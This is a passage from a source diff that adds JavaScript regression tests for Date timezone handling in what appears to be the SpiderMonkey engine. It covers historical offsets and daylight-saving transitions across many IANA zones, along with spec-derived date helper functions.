+ assertDateTime(dt3, "Thu Jan 01 1970 00:00:00 GMT+0100 (Greenwich Mean Time)");
+
+ let dt4 = new Date(-504921600000);
+ assertDateTime(dt4, "Fri Jan 01 1954 00:00:00 GMT+0000 (Greenwich Mean Time)");
+
+ let dt5 = new Date(1974, Month.January, 1);
+ assertDateTime(dt5, "Tue Jan 01 1974 00:00:00 GMT+0000 (Greenwich Mean Time)");
+});
+inTimeZone("Europe/Dublin", () => {
+ let dt = new Date(0, Month.January, 1, 0, 0, 0, 0);
+ dt.setFullYear(1970);
+ assertEq(dt.getFullYear(), 1970);
+});
+
+// bug 937261
+inTimeZone("Europe/Lisbon", () => {
+ let dt = new Date(0, Month.January, 1, 0, 0, 0, 0);
+ assertDateTime(dt, "Mon Jan 01 1900 00:00:00 GMT-0036 (Western European Standard Time)");
+
+ dt.setFullYear(2015);
+ assertDateTime(dt, "Thu Jan 01 2015 00:00:00 GMT+0000 (Western European Standard Time)");
+
+ dt.setMonth(Month.November);
+ assertDateTime(dt, "Sun Nov 01 2015 00:00:00 GMT+0000 (Western European Standard Time)");
+});
+inTimeZone("Europe/London", () => {
+ let dt = new Date(0, Month.January, 1, 0, 0, 0, 0);
+ assertDateTime(dt, "Mon Jan 01 1900 00:00:00 GMT+0000 (Greenwich Mean Time)");
+
+ dt.setFullYear(2015);
+ assertDateTime(dt, "Thu Jan 01 2015 00:00:00 GMT+0000 (Greenwich Mean Time)");
+
+ dt.setMonth(Month.November);
+ assertDateTime(dt, "Sun Nov 01 2015 00:00:00 GMT+0000 (Greenwich Mean Time)");
+});
+
+// bug 1079720
+inTimeZone("Europe/Moscow", () => {
+ let dt1 = new Date(2014, Month.January, 1);
+ assertDateTime(dt1, "Wed Jan 01 2014 00:00:00 GMT+0400 (Moscow Standard Time)");
+ assertEq(dt1.toISOString(), "2013-12-31T20:00:00.000Z");
+ assertEq(dt1.getHours(), 0);
+
+ let dt2 = new Date(2013, Month.January, 1);
+ assertDateTime(dt2, "Tue Jan 01 2013 00:00:00 GMT+0400 (Moscow Standard Time)");
+
+ let dt3 = new Date(new Date(2014, Month.December, 1).setMonth(Month.January));
+ assertDateTime(dt3, "Wed Jan 01 2014 00:00:00 GMT+0400 (Moscow Standard Time)");
+ assertEq(dt3.getFullYear(), 2014);
+
+ let dt4 = new Date(2040, Month.April, 1);
+ assertDateTime(dt4, "Sun Apr 01 2040 00:00:00 GMT+0300 (Moscow Standard Time)");
+
+ let dt5 = new Date(2043, Month.April, 1);
+ assertDateTime(dt5, "Wed Apr 01 2043 00:00:00 GMT+0300 (Moscow Standard Time)");
+
+ let dt6 = new Date(2054, Month.April, 1);
+ assertDateTime(dt6, "Wed Apr 01 2054 00:00:00 GMT+0300 (Moscow Standard Time)");
+
+ let dt7 = new Date(2065, Month.April, 1);
+ assertDateTime(dt7, "Wed Apr 01 2065 00:00:00 GMT+0300 (Moscow Standard Time)");
+
+ let dt8 = new Date(2068, Month.April, 1);
+ assertDateTime(dt8, "Sun Apr 01 2068 00:00:00 GMT+0300 (Moscow Standard Time)");
+
+ let dt9 = new Date(2071, Month.April, 1);
+ assertDateTime(dt9, "Wed Apr 01 2071 00:00:00 GMT+0300 (Moscow Standard Time)");
+
+ let dt10 = new Date(2082, Month.April, 1);
+ assertDateTime(dt10, "Wed Apr 01 2082 00:00:00 GMT+0300 (Moscow Standard Time)");
+
+ let dt11 = new Date(2093, Month.April, 1);
+ assertDateTime(dt11, "Wed Apr 01 2093 00:00:00 GMT+0300 (Moscow Standard Time)");
+
+ let dt12 = new Date(2096, Month.April, 1);
+ assertDateTime(dt12, "Sun Apr 01 2096 00:00:00 GMT+0300 (Moscow Standard Time)");
+
+ let dt13 = new Date(2099, Month.April, 1);
+ assertDateTime(dt13, "Wed Apr 01 2099 00:00:00 GMT+0300 (Moscow Standard Time)");
+});
+
+// bug 1107837
+inTimeZone("Europe/Moscow", () => {
+ let dt1 = new Date(2015, Month.January, 4);
+ assertDateTime(dt1, "Sun Jan 04 2015 00:00:00 GMT+0300 (Moscow Standard Time)");
+
+ let dt2 = new Date(2015, Month.January, 5);
+ assertDateTime(dt2, "Mon Jan 05 2015 00:00:00 GMT+0300 (Moscow Standard Time)");
+
+ let dt3 = new Date(2015, Month.January, 6);
+ assertDateTime(dt3, "Tue Jan 06 2015 00:00:00 GMT+0300 (Moscow Standard Time)");
+
+ let dt4 = new Date(2015, Month.January, 7);
+ assertDateTime(dt4, "Wed Jan 07 2015 00:00:00 GMT+0300 (Moscow Standard Time)");
+
+ let dt5 = new Date(2015, Month.January, 8);
+ assertDateTime(dt5, "Thu Jan 08 2015 00:00:00 GMT+0300 (Moscow Standard Time)");
+
+ let dt6 = new Date(2015, Month.January, 9);
+ assertDateTime(dt6, "Fri Jan 09 2015 00:00:00 GMT+0300 (Moscow Standard Time)");
+});
+
+// bug 1122571
+inTimeZone("Europe/Berlin", () => {
+ const locale = "en-001";
+ const opts = {timeZoneName: "long", hour12: false};
+
+ let dt1 = new Date(1950, Month.March, 28);
+ assertDateTime(dt1, "Tue Mar 28 1950 00:00:00 GMT+0100 (Central European Standard Time)");
+ assertEq(dt1.toLocaleString(locale, opts), "28/03/1950, 00:00:00 GMT+01:00");
+
+ let dt2 = new Date(1950, Month.July, 1);
+ assertDateTime(dt2, "Sat Jul 01 1950 00:00:00 GMT+0100 (Central European Standard Time)");
+ assertEq(dt2.toLocaleString(locale, opts), "01/07/1950, 00:00:00 GMT+01:00");
+
+ let dt3 = new Date(1960, Month.March, 27);
+ assertDateTime(dt3, "Sun Mar 27 1960 00:00:00 GMT+0100 (Central European Standard Time)");
+ assertEq(dt3.toLocaleString(locale, opts), "27/03/1960, 00:00:00 GMT+01:00");
+
+ let dt4 = new Date(1960, Month.March, 28);
+ assertDateTime(dt4, "Mon Mar 28 1960 00:00:00 GMT+0100 (Central European Standard Time)");
+ assertEq(dt4.toLocaleString(locale, opts), "28/03/1960, 00:00:00 GMT+01:00");
+
+ let dt5 = new Date(1960, Month.March, 29);
+ assertDateTime(dt5, "Tue Mar 29 1960 00:00:00 GMT+0100 (Central European Standard Time)");
+ assertEq(dt5.toLocaleString(locale, opts), "29/03/1960, 00:00:00 GMT+01:00");
+
+ let dt6 = new Date(1960, Month.July, 1);
+ assertDateTime(dt6, "Fri Jul 01 1960 00:00:00 GMT+0100 (Central European Standard Time)");
+ assertEq(dt6.toLocaleString(locale, opts), "01/07/1960, 00:00:00 GMT+01:00");
+
+ let dt7 = new Date(1961, Month.July, 1);
+ assertDateTime(dt7, "Sat Jul 01 1961 00:00:00 GMT+0100 (Central European Standard Time)");
+ assertEq(dt7.toLocaleString(locale, opts), "01/07/1961, 00:00:00 GMT+01:00");
+
+ let dt8 = new Date(1970, Month.March, 1);
+ assertDateTime(dt8, "Sun Mar 01 1970 00:00:00 GMT+0100 (Central European Standard Time)");
+ assertEq(dt8.toLocaleString(locale, opts), "01/03/1970, 00:00:00 Central European Standard Time");
+
+ let dt9 = new Date(1970, Month.March, 27);
+ assertDateTime(dt9, "Fri Mar 27 1970 00:00:00 GMT+0100 (Central European Standard Time)");
+ assertEq(dt9.toLocaleString(locale, opts), "27/03/1970, 00:00:00 Central European Standard Time");
+
+ let dt10 = new Date(1970, Month.March, 28);
+ assertDateTime(dt10, "Sat Mar 28 1970 00:00:00 GMT+0100 (Central European Standard Time)");
+ assertEq(dt10.toLocaleString(locale, opts), "28/03/1970, 00:00:00 Central European Standard Time");
+
+ let dt11 = new Date(1970, Month.July, 1);
+ assertDateTime(dt11, "Wed Jul 01 1970 00:00:00 GMT+0100 (Central European Standard Time)");
+ assertEq(dt11.toLocaleString(locale, opts), "01/07/1970, 00:00:00 Central European Standard Time");
+});
+
+// bug 1143398
+inTimeZone("Australia/Adelaide", () => {
+ let dt = new Date(621000);
+ assertDateTime(dt, "Thu Jan 01 1970 09:40:21 GMT+0930 (Australian Central Standard Time)");
+ assertEq(dt.getUTCFullYear(), 1970);
+
+ dt.setMilliseconds(dt.getMilliseconds());
+ dt.setSeconds(dt.getSeconds());
+
+ assertDateTime(dt, "Thu Jan 01 1970 09:40:21 GMT+0930 (Australian Central Standard Time)");
+ assertEq(dt.getUTCFullYear(), 1970);
+});
+inTimeZone("America/Denver", () => {
+ let dt = new Date(1446361200000);
+ assertDateTime(dt, "Sun Nov 01 2015 01:00:00 GMT-0600 (Mountain Daylight Time)");
+
+ assertEq(dt.getTime(), 1446361200000);
+ dt.setMilliseconds(0);
+ assertEq(dt.getTime(), 1446361200000);
+});
+
+// bug 1233809
+inTimeZone("America/New_York", () => {
+ let dt = new Date(1980, Month.March, 10);
+ assertDateTime(dt, "Mon Mar 10 1980 00:00:00 GMT-0500 (Eastern Standard Time)");
+});
+
+// bug 1254041
+inTimeZone("Asia/Ho_Chi_Minh", () => {
+ let dt1 = new Date(Date.UTC(1969, Month.December, 31, 23, 0));
+ assertDateTime(dt1, "Thu Jan 01 1970 07:00:00 GMT+0800 (Indochina Time)");
+ assertEq(dt1.getTime(), -3600000);
+
+ dt1.setMinutes(dt1.getMinutes() + 30);
+ assertDateTime(dt1, "Thu Jan 01 1970 07:30:00 GMT+0800 (Indochina Time)");
+ assertEq(dt1.getTime(), -1800000);
+
+ dt1.setMinutes(dt1.getMinutes() + 30);
+ assertDateTime(dt1, "Thu Jan 01 1970 08:00:00 GMT+0800 (Indochina Time)");
+ assertEq(dt1.getTime(), 0);
+
+ dt1.setMinutes(dt1.getMinutes() + 30);
+ assertDateTime(dt1, "Thu Jan 01 1970 08:30:00 GMT+0800 (Indochina Time)");
+ assertEq(dt1.getTime(), 1800000);
+
+ dt1.setMinutes(dt1.getMinutes() + 30);
+ assertDateTime(dt1, "Thu Jan 01 1970 09:00:00 GMT+0800 (Indochina Time)");
+ assertEq(dt1.getTime(), 3600000);
+
+ let dt2 = new Date(-1);
+ assertEq(dt2.getTime(), -1);
+
+ dt2.setMilliseconds(dt2.getMilliseconds() + 1);
+ assertEq(dt2.getTime(), 0);
+
+ dt2.setTime(1);
+ assertEq(dt2.getTime(), 1);
+
+ dt2.setMilliseconds(dt2.getMilliseconds() - 1);
+ assertEq(dt2.getTime(), 0);
+
+ dt2.setMilliseconds(dt2.getMilliseconds() - 1);
+ assertEq(dt2.getTime(), -1);
+
+ dt2.setMilliseconds(dt2.getMilliseconds() + 1);
+ assertEq(dt2.getTime(), 0);
+
+ dt2.setMilliseconds(dt2.getMilliseconds() + 3600000);
+ assertEq(dt2.getTime(), 3600000);
+
+ dt2.setMilliseconds(dt2.getMilliseconds() + (3600000 * 2 - 1));
+ assertEq(dt2.getTime(), 3600000 * 3 - 1);
+
+ dt2.setMilliseconds(dt2.getMilliseconds() + 1);
+ assertEq(dt2.getTime(), 3600000 * 3);
+
+ dt2.setMilliseconds(dt2.getMilliseconds() + (3600000 * 2));
+ assertEq(dt2.getTime(), 3600000 * 5);
+
+ let dt3 = new Date(0);
+ assertDateTime(dt3, "Thu Jan 01 1970 08:00:00 GMT+0800 (Indochina Time)");
+
+ let dt4 = new Date(-1);
+ assertDateTime(dt4, "Thu Jan 01 1970 07:59:59 GMT+0800 (Indochina Time)");
+});
+
+// bug 1300197
+inTimeZone("Europe/Dublin", () => {
+ let dt = new Date(1910, Month.January, 1);
+ assertDateTime(dt, "Sat Jan 01 1910 00:00:00 GMT-0025 (Greenwich Mean Time)");
+});
+
+// bug 1304774
+inTimeZone("Europe/Zurich", () => {
+ let dt = new Date(1986, Month.April, 4, 0, 0, 0, 0);
+ assertDateTime(dt, "Fri Apr 04 1986 00:00:00 GMT+0200 (Central European Summer Time)");
+ assertEq(dt.getTimezoneOffset(), -120);
+});
+
+// bug 1330307
+inTimeZone("Europe/Moscow", () => {
+ let dt = new Date(2012, Month.May, 14, 12, 13, 14);
+ assertDateTime(dt, "Mon May 14 2012 12:13:14 GMT+0400 (Moscow Standard Time)");
+
+ let dtf = new Intl.DateTimeFormat("en-US", {hour: "numeric", minute: "numeric"});
+ assertEq(dtf.format(dt), "12:13 PM");
+});
+inTimeZone("Asia/Baku", () => {
+ let dt = new Date(2012, Month.May, 14, 12, 13, 14);
+ assertDateTime(dt, "Mon May 14 2012 12:13:14 GMT+0500 (Azerbaijan Summer Time)");
+
+ let dtf = new Intl.DateTimeFormat("en-US", {hour: "numeric", minute: "numeric"});
+ assertEq(dtf.format(dt), "12:13 PM");
+});
+inTimeZone("Asia/Tbilisi", () => {
+ let dt = new Date(2012, Month.May, 14, 12, 13, 14);
+ assertDateTime(dt, "Mon May 14 2012 12:13:14 GMT+0400 (Georgia Standard Time)");
+
+ let dtf = new Intl.DateTimeFormat("en-US", {hour: "numeric", minute: "numeric"});
+ assertEq(dtf.format(dt), "12:13 PM");
+});
+
+// bug 1335818
+inTimeZone("Asia/Jerusalem", () => {
+ let dt1 = new Date(2013, Month.March, 22, 1, 0, 0, 0);
+ assertDateTime(dt1, "Fri Mar 22 2013 01:00:00 GMT+0200 (Israel Standard Time)");
+
+ let dt2 = new Date(2013, Month.March, 22, 2, 0, 0, 0);
+ assertDateTime(dt2, "Fri Mar 22 2013 02:00:00 GMT+0200 (Israel Standard Time)");
+
+ let dt3 = new Date(2013, Month.March, 22, 3, 0, 0, 0);
+ assertDateTime(dt3, "Fri Mar 22 2013 03:00:00 GMT+0200 (Israel Standard Time)");
+
+ let dt4 = new Date(2013, Month.March, 29, 1, 0, 0, 0);
+ assertDateTime(dt4, "Fri Mar 29 2013 01:00:00 GMT+0200 (Israel Standard Time)");
+
+ let dt5 = new Date(2013, Month.March, 29, 2, 0, 0, 0);
+ assertDateTime(dt5, "Fri Mar 29 2013 03:00:00 GMT+0300 (Israel Daylight Time)");
+
+ let dt6 = new Date(2013, Month.March, 29, 3, 0, 0, 0);
+ assertDateTime(dt6, "Fri Mar 29 2013 03:00:00 GMT+0300 (Israel Daylight Time)");
+});
+
+// bug 1342853
+inTimeZone("America/Sao_Paulo", () => {
+ let dt1 = new Date(2017, Month.October, 14, 12, 0, 0);
+ assertDateTime(dt1, "Sat Oct 14 2017 12:00:00 GMT-0300 (Brasilia Standard Time)");
+ assertEq(dt1.getTimezoneOffset(), 180);
+
+ let dt2 = new Date(2017, Month.October, 15, 12, 0, 0);
+ assertDateTime(dt2, "Sun Oct 15 2017 12:00:00 GMT-0200 (Brasilia Summer Time)");
+ assertEq(dt2.getTimezoneOffset(), 120);
+
+ let dt3 = new Date(2018, Month.February, 17, 12, 0, 0);
+ assertDateTime(dt3, "Sat Feb 17 2018 12:00:00 GMT-0200 (Brasilia Summer Time)");
+ assertEq(dt3.getTimezoneOffset(), 120);
+
+ let dt4 = new Date(2018, Month.February, 18, 12, 0, 0);
+ assertDateTime(dt4, "Sun Feb 18 2018 12:00:00 GMT-0300 (Brasilia Standard Time)");
+ assertEq(dt4.getTimezoneOffset(), 180);
+
+ let dt5 = new Date(2018, Month.November, 3, 12, 0, 0);
+ assertDateTime(dt5, "Sat Nov 03 2018 12:00:00 GMT-0300 (Brasilia Standard Time)");
+ assertEq(dt5.getTimezoneOffset(), 180);
+
+ let dt6 = new Date(2018, Month.November, 4, 12, 0, 0);
+ assertDateTime(dt6, "Sun Nov 04 2018 12:00:00 GMT-0200 (Brasilia Summer Time)");
+ assertEq(dt6.getTimezoneOffset(), 120);
+
+ let dt7 = new Date(2019, Month.February, 16, 12, 0, 0);
+ assertDateTime(dt7, "Sat Feb 16 2019 12:00:00 GMT-0200 (Brasilia Summer Time)");
+ assertEq(dt7.getTimezoneOffset(), 120);
+
+ let dt8 = new Date(2019, Month.February, 17, 12, 0, 0);
+ assertDateTime(dt8, "Sun Feb 17 2019 12:00:00 GMT-0300 (Brasilia Standard Time)");
+ assertEq(dt8.getTimezoneOffset(), 180);
+});
+
+// bug 1365192
+inTimeZone("America/Asuncion", () => {
+ let dt = new Date(2018, Month.March, 31);
+ assertDateTime(dt, "Sat Mar 31 2018 00:00:00 GMT-0400 (Paraguay Standard Time)");
+ assertEq(dt.getTimezoneOffset(), 240);
+});
+
+// bug 1385643
+inTimeZone("Europe/Warsaw", () => {
+ let shortMonths = ["Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"];
+ let dtf = new Intl.DateTimeFormat("en-US", {month: "short"});
+
+ for (let year = 1900; year <= 2100; ++year) {
+ for (let month = Month.January; month <= Month.December; ++month) {
+ let date = new Date(year, month, 1);
+ assertEq(dtf.format(date), shortMonths[month]);
+ }
+ }
+});
+
+// bug 1401696
+inTimeZone("Europe/Berlin", () => {
+ let dt = new Date(1970, Month.January, 1, 0, 0, 0);
+ assertDateTime(dt, "Thu Jan 01 1970 00:00:00 GMT+0100 (Central European Standard Time)");
+});
+
+// bug 1459842
+inTimeZone("Europe/Moscow", () => {
+ let dt1 = new Date(1004, Month.April, 1, 2, 0, 0);
+ assertDateTime(dt1, "Sun Apr 01 1004 02:00:00 GMT+0230 (Moscow Standard Time)");
+ assertEq(dt1.getHours(), 2);
+
+ let dt2 = new Date(1004, Month.April, 1, 1, 0, 0);
+ assertDateTime(dt2, "Sun Apr 01 1004 01:00:00 GMT+0230 (Moscow Standard Time)");
+ assertEq(dt2.getHours(), 1);
+
+ let dt3 = new Date(1004, Month.April, 1, 0, 0, 0);
+ assertDateTime(dt3, "Sun Apr 01 1004 00:00:00 GMT+0230 (Moscow Standard Time)");
+ assertEq(dt3.getHours(), 0);
+
+ let dt4 = new Date(1004, Month.March, 1, 2, 0, 0);
+ assertDateTime(dt4, "Thu Mar 01 1004 02:00:00 GMT+0230 (Moscow Standard Time)");
+ assertEq(dt4.getHours(), 2);
+
+ let dt5 = new Date(1004, Month.March, 1, 1, 0, 0);
+ assertDateTime(dt5, "Thu Mar 01 1004 01:00:00 GMT+0230 (Moscow Standard Time)");
+ assertEq(dt5.getHours(), 1);
+
+ let dt6 = new Date(1004, Month.March, 1, 0, 0, 0);
+ assertDateTime(dt6, "Thu Mar 01 1004 00:00:00 GMT+0230 (Moscow Standard Time)");
+ assertEq(dt6.getHours(), 0);
+
+});
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Date/time-zones-imported.js b/js/src/tests/non262/Date/time-zones-imported.js
new file mode 100644
index 0000000000..2ce72fa091
--- /dev/null
+++ b/js/src/tests/non262/Date/time-zones-imported.js
@@ -0,0 +1,992 @@
+// |reftest| skip-if(xulRuntime.OS=="WINNT"||!this.hasOwnProperty("Intl")) -- Windows doesn't accept IANA names for the TZ env variable; Requires ICU time zone support
+
+// Imported tests from es6draft and then adapted to use ICU/CLDR time zone display names.
+
+function assertSame(expected, actual, message = undefined) {
+ if (message !== undefined)
+ assertEq(actual, expected, String(message));
+ else
+ assertEq(actual, expected);
+}
+
+function assertTrue(actual, message = undefined) {
+ assertSame(true, actual, message);
+}
+
+// File: lib/datetime.jsm
+const {
+ DayOfWeek,
+ Month,
+ DateTime,
+ TimeZone,
+ Format,
+} = (function() {
+
+// 5.2 Algorithm Conventions
+function modulo(dividend, divisor) {
+ assertTrue(typeof dividend === "number");
+ assertTrue(typeof divisor === "number");
+ assertTrue(divisor !== 0 && Number.isFinite(divisor));
+ let remainder = dividend % divisor;
+ // NB: add +0 to convert -0 to +0
+ return (remainder >= 0 ? remainder + 0 : remainder + divisor);
+}
+
+// 7.1.4 ToInteger ( argument )
+function ToInteger(number) {
+ /* steps 1-2 */
+ assertTrue(typeof number === "number");
+ /* step 3 */
+ if (Number.isNaN(number))
+ return +0.0;
+ /* step 4 */
+ if (number == 0.0 || !Number.isFinite(number))
+ return number;
+ /* step 5 */
+ return Math.sign(number) * Math.floor(Math.abs(number));
+}
+
+// 20.3.1.2 Day Number and Time within Day
+const msPerDay = 86400000;
+
+// 20.3.1.2 Day Number and Time within Day
+function Day(t) {
+ assertTrue(typeof t === "number");
+ return Math.floor(t / msPerDay);
+}
+
+// 20.3.1.2 Day Number and Time within Day
+function TimeWithinDay(t) {
+ assertTrue(typeof t === "number");
+ return modulo(t, msPerDay);
+}
+
+// 20.3.1.3 Year Number
+function DaysInYear(y) {
+ assertTrue(typeof y === "number");
+ if (y % 4 !== 0) {
+ return 365;
+ }
+ if (y % 100 !== 0) {
+ return 366;
+ }
+ if (y % 400 !== 0) {
+ return 365;
+ }
+ return 366;
+}
+
+// 20.3.1.3 Year Number
+function DayFromYear(y) {
+ assertTrue(typeof y === "number");
+ return 365 * (y - 1970) + Math.floor((y - 1969) / 4) - Math.floor((y - 1901) / 100) + Math.floor((y - 1601) / 400);
+}
+
+// 20.3.1.3 Year Number
+function TimeFromYear(y) {
+ assertTrue(typeof y === "number");
+ return msPerDay * DayFromYear(y);
+}
+
+// TODO: fill in rest
+
+// 20.3.1.10 Hours, Minutes, Second, and Milliseconds
+const HoursPerDay = 24;
+const MinutesPerHour = 60;
+const SecondsPerMinute = 60;
+const msPerSecond = 1000;
+const msPerMinute = msPerSecond * SecondsPerMinute;
+const msPerHour = msPerMinute * MinutesPerHour;
+
+// 20.3.1.10 Hours, Minutes, Second, and Milliseconds
+function HourFromTime(t) {
+ assertTrue(typeof t === "number");
+ return modulo(Math.floor(t / msPerHour), HoursPerDay);
+}
+
+// 20.3.1.10 Hours, Minutes, Second, and Milliseconds
+function MinFromTime(t) {
+ assertTrue(typeof t === "number");
+ return modulo(Math.floor(t / msPerMinute), MinutesPerHour);
+}
+
+// 20.3.1.10 Hours, Minutes, Second, and Milliseconds
+function SecFromTime(t) {
+ assertTrue(typeof t === "number");
+ return modulo(Math.floor(t / msPerSecond), SecondsPerMinute);
+}
+
+// 20.3.1.10 Hours, Minutes, Second, and Milliseconds
+function msFromTime(t) {
+ assertTrue(typeof t === "number");
+ return modulo(t, msPerSecond);
+}
+
+// 20.3.1.11 MakeTime (hour, min, sec, ms)
+function MakeTime(hour, min, sec, ms) {
+ assertTrue(typeof hour === "number");
+ assertTrue(typeof min === "number");
+ assertTrue(typeof sec === "number");
+ assertTrue(typeof ms === "number");
+ if (!Number.isFinite(hour) || !Number.isFinite(min) || !Number.isFinite(sec) || !Number.isFinite(ms)) {
+ return Number.NaN;
+ }
+ let h = ToInteger(hour);
+ let m = ToInteger(min);
+ let s = ToInteger(sec);
+ let milli = ToInteger(ms);
+ let t = h * msPerHour + m * msPerMinute + s * msPerSecond + milli;
+ return t;
+}
+
+// 20.3.1.12 MakeDay (year, month, date)
+function MakeDay(year, month, date) {
+ assertTrue(typeof year === "number");
+ assertTrue(typeof month === "number");
+ assertTrue(typeof date === "number");
+ if (!Number.isFinite(year) || !Number.isFinite(month) || !Number.isFinite(date)) {
+ return Number.NaN;
+ }
+ let y = ToInteger(year);
+ let m = ToInteger(month);
+ let dt = ToInteger(date);
+ let ym = y + Math.floor(m / 12);
+ let mn = modulo(m, 12);
+
+ const monthStart = [0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334];
+ let day = Math.floor(TimeFromYear(ym) / msPerDay) + monthStart[mn];
+ if (mn >= 2 && DaysInYear(ym) == 366) {
+ day += 1;
+ }
+
+ return day + dt - 1;
+}
+
+// 20.3.1.13 MakeDate (day, time)
+function MakeDate(day, time) {
+ assertTrue(typeof day === "number");
+ assertTrue(typeof time === "number");
+ if (!Number.isFinite(day) || !Number.isFinite(time)) {
+ return Number.NaN;
+ }
+ return day * msPerDay + time;
+}
+
+// 20.3.1.14 TimeClip (time)
+function TimeClip(time) {
+ assertTrue(typeof time === "number");
+ if (!Number.isFinite(time)) {
+ return Number.NaN;
+ }
+ if (Math.abs(time) > 8.64e15) {
+ return Number.NaN;
+ }
+ return ToInteger(time) + (+0);
+}
+
+const DayOfWeek = {
+ Sunday: 0,
+ Monday: 1,
+ Tuesday: 2,
+ Wednesday: 3,
+ Thursday: 4,
+ Friday: 5,
+ Saturday: 6,
+};
+
+const Month = {
+ January: 0,
+ February: 1,
+ March: 2,
+ April: 3,
+ May: 4,
+ June: 5,
+ July: 6,
+ August: 7,
+ September: 8,
+ October: 9,
+ November: 10,
+ December: 11,
+};
+
+const DateTime = {
+ Local: class {
+ constructor(year, month, day, weekday, hour = 0, minute = 0, second = 0, ms = 0) {
+ Object.assign(this, {year, month, day, weekday, hour, minute, second, ms});
+ }
+
+ toDate() {
+ return new Date(this.year, this.month, this.day, this.hour, this.minute, this.second, this.ms);
+ }
+ },
+ UTC: class {
+ constructor(year, month, day, weekday, hour = 0, minute = 0, second = 0, ms = 0) {
+ Object.assign(this, {year, month, day, weekday, hour, minute, second, ms});
+ }
+
+ toInstant() {
+ return MakeDate(MakeDay(this.year, this.month, this.day), MakeTime(this.hour, this.minute, this.second, this.ms));
+ }
+ },
+};
+
+function TimeZone(hour, minute = 0, second = 0) {
+ return new class TimeZone {
+ constructor(hour, minute, second) {
+ Object.assign(this, {hour, minute, second});
+ }
+
+ toOffset() {
+ let offset = TimeZoneOffset(this.hour, this.minute, this.second);
+ return offset !== 0 ? -offset : 0;
+ }
+ }(hour, minute, second);
+
+ function TimeZoneOffset(hour, minute = 0, second = 0) {
+ assertTrue(typeof hour === "number");
+ assertTrue(typeof minute === "number");
+ assertTrue(typeof second === "number");
+ assertTrue(minute >= 0);
+ assertTrue(second >= 0);
+ if (hour < 0 || Object.is(-0, hour)) {
+ return hour * MinutesPerHour - minute - (second / 60);
+ }
+ return hour * MinutesPerHour + minute + (second / 60);
+ }
+}
+
+const Format = {
+ Locale: "en-US",
+ DateTime: {
+ localeMatcher: "lookup",
+ timeZone: void 0,
+ weekday: "short",
+ era: void 0,
+ year: "numeric",
+ month: "2-digit",
+ day: "2-digit",
+ hour: "2-digit",
+ minute: "2-digit",
+ second: "2-digit",
+ timeZoneName: "short",
+ formatMatcher: "best fit",
+ hour12: void 0,
+ },
+ Date: {
+ localeMatcher: "lookup",
+ timeZone: void 0,
+ weekday: "short",
+ era: void 0,
+ year: "numeric",
+ month: "2-digit",
+ day: "2-digit",
+ hour: void 0,
+ minute: void 0,
+ second: void 0,
+ timeZoneName: void 0,
+ formatMatcher: "best fit",
+ hour12: void 0,
+ },
+ Time: {
+ localeMatcher: "lookup",
+ timeZone: void 0,
+ weekday: void 0,
+ era: void 0,
+ year: void 0,
+ month: void 0,
+ day: void 0,
+ hour: "2-digit",
+ minute: "2-digit",
+ second: "2-digit",
+ timeZoneName: "short",
+ formatMatcher: "best fit",
+ hour12: void 0,
+ },
+};
+
+return {
+ DayOfWeek,
+ Month,
+ DateTime,
+ TimeZone,
+ Format,
+};
+})();
+
+
+// File: lib/assert-datetime.js
+
+function assertDate(local, utc, timeZone, options, formatArgs) {
+ let d = local.toDate();
+ assertDateValue(d, utc.toInstant(), timeZone.toOffset());
+ assertLocalDate(d, local);
+ assertUTCDate(d, utc);
+ assertDateString(d, options, formatArgs);
+}
+
+function assertDateValue(actual, dateValue, timeZoneOffset) {
+ assertSame(dateValue, actual.valueOf(), `valueOf()[${dateValue - actual.valueOf()}]`);
+ assertSame(dateValue, actual.getTime(), `valueOf()[${dateValue - actual.getTime()}]`);
+ assertSame(timeZoneOffset, actual.getTimezoneOffset(), "getTimezoneOffset()");
+}
+
+function assertLocalDate(actual, {year, month, day, weekday, hour = 0, minute = 0, second = 0, ms = 0}) {
+ assertSame(year, actual.getFullYear(), "getFullYear()");
+ assertSame(month, actual.getMonth(), "getMonth()");
+ assertSame(day, actual.getDate(), "getDate()");
+ assertSame(weekday, actual.getDay(), "getDay()");
+ assertSame(hour, actual.getHours(), "getHours()");
+ assertSame(minute, actual.getMinutes(), "getMinutes()");
+ assertSame(second, actual.getSeconds(), "getSeconds()");
+ assertSame(ms, actual.getMilliseconds(), "getMilliseconds()");
+}
+
+function assertUTCDate(actual, {year, month, day, weekday, hour = 0, minute = 0, second = 0, ms = 0}) {
+ assertSame(year, actual.getUTCFullYear(), "getUTCFullYear()");
+ assertSame(month, actual.getUTCMonth(), "getUTCMonth()");
+ assertSame(day, actual.getUTCDate(), "getUTCDate()");
+ assertSame(weekday, actual.getUTCDay(), "getUTCDay()");
+ assertSame(hour, actual.getUTCHours(), "getUTCHours()");
+ assertSame(minute, actual.getUTCMinutes(), "getUTCMinutes()");
+ assertSame(second, actual.getUTCSeconds(), "getUTCSeconds()");
+ assertSame(ms, actual.getUTCMilliseconds(), "getUTCMilliseconds()");
+}
+
+function assertDateString(actual, options, formatArgs = {
+ LocaleString: [Format.Locale, Format.DateTime],
+ LocaleDateString: [Format.Locale, Format.Date],
+ LocaleTimeString: [Format.Locale, Format.Time],
+}) {
+ for (var key of Object.keys(options)) {
+ var args = formatArgs[key] || [];
+ assertSame(options[key], actual[`to${key}`](...args), `to${key}()`);
+ }
+}
+
+
+// File: Date/Africa_Monrovia.js
+// Liberia was the last country to switch to UTC based offsets (1972 May).
+
+inTimeZone("Africa/Monrovia", () => {
+{
+ let local = new DateTime.Local(1972, Month.January, 6, DayOfWeek.Thursday, 0, 0, 0);
+ let utc = new DateTime.UTC(1972, Month.January, 6, DayOfWeek.Thursday, 0, 44, 30);
+
+ assertDate(local, utc, TimeZone(-0,44,30), {
+ String: "Thu Jan 06 1972 00:00:00 GMT-0044 (Greenwich Mean Time)",
+ UTCString: "Thu, 06 Jan 1972 00:44:30 GMT",
+ });
+}
+
+{
+ let local = new DateTime.Local(1972, Month.January, 6, DayOfWeek.Thursday, 23, 59, 0);
+ let utc = new DateTime.UTC(1972, Month.January, 7, DayOfWeek.Friday, 0, 43, 30);
+
+ assertDate(local, utc, TimeZone(-0,44,30), {
+ String: "Thu Jan 06 1972 23:59:00 GMT-0044 (Greenwich Mean Time)",
+ UTCString: "Fri, 07 Jan 1972 00:43:30 GMT",
+ });
+}
+
+{
+ let local = new DateTime.Local(1972, Month.January, 7, DayOfWeek.Friday, 0, 0, 0);
